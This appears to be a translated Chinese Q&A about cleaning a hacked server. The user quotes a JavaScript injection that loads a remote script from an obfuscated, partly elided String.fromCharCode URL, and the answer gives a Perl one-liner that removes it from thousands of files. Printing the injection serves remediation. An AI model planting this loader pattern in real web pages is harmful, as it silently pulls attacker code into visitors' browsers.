Sed
從文件中替換(刪除)多行
我的一個伺服器被黑了,他們在每個 js 文件的開頭添加了以下內容:
var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true; var pl = String.fromCharCode(104,116,...,106,115); s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript); } else { d.getElementsByTagName('head')[0].appendChild(s); }
我需要清理它們,但我不能手動清理它們,因為它們有數千個文件。
我正在努力尋找一個可行的解決方案,我讀到了 perl,我寫了這個:
perl -pi -e 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,...,106,115\); s\.src=pl;\nif \(document\.currentScript\) \{\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else \{\nd\.getElementsByTagName\(\x27head\x27\)\[0\]\.appendChild\(s\);\n\}//' script.js
我嘗試了 regex101 並且正則表達式匹配,該命令沒有給出錯誤,但沒有任何內容被替換……
perl
將不得不“啜飲”整個文件以匹配\n
字元,因此請使用以下-0777
選項:perl -i -0777pe 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,\.\.\.,106,115\); s\.src=pl;\nif \(document\.currentScript\) {\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\(\x27head\x27\)\[0]\.appendChild\(s\);\n}\n//' script.js
儘管對於被黑的伺服器,可能還有更多問題需要解決。